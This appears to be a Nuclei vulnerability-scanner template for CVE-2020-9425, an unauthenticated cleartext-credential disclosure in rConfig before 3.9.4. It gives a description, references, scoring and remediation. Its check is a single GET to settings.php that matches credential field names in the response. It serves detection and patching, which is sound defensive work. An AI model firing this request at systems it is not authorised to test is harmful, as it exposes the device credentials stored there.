id: CVE-2020-9425

info:
  name: rConfig <3.9.4 - Sensitive Information Disclosure
  author: madrobot
  severity: high
  description: rConfig prior to version 3.9.4 is susceptible to sensitive information disclosure. An unauthenticated attacker can retrieve saved cleartext credentials via a GET request to settings.php. Because the application does not exit after a redirect is applied, the rest of the page still executes, resulting in the disclosure of cleartext credentials in the response.
  impact: |
    An attacker can exploit this vulnerability to gain access to sensitive information, such as usernames and passwords.
  remediation: |
    Upgrade rConfig to version 3.9.4 or later to fix the vulnerability.
  reference:
    - https://blog.hivint.com/rconfig-3-9-3-unauthenticated-sensitive-information-disclosure-ead4ed88f153
    - https://github.com/rconfig/rconfig/commit/20f4e3d87e84663d922b937842fddd9af1b68dd9
    - https://nvd.nist.gov/vuln/detail/CVE-2020-9425
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-9425
    cwe-id: CWE-670
    epss-score: 0.01611
    epss-percentile: 0.86058
    cpe: cpe:2.3:a:rconfig:rconfig:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: rconfig
    product: rconfig
  tags: cve,cve2020,rconfig.exposure,rconfig

http:
  - method: GET
    path:
      - "{{BaseURL}}/settings.php"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "defaultNodeUsername"
          - "defaultNodePassword"
        condition: and

      - type: status
        status:
          - 200
# digest: 4b0a0048304602210097bd62e865ddc5a66964df63555a520511d79d0a43a5efbe2ec58a057de20434022100b3494688001927c623591a7583963320e5605ace9d2a8dc63c05f693ac3e9297:922c64590222798bb761d5b6d8e72950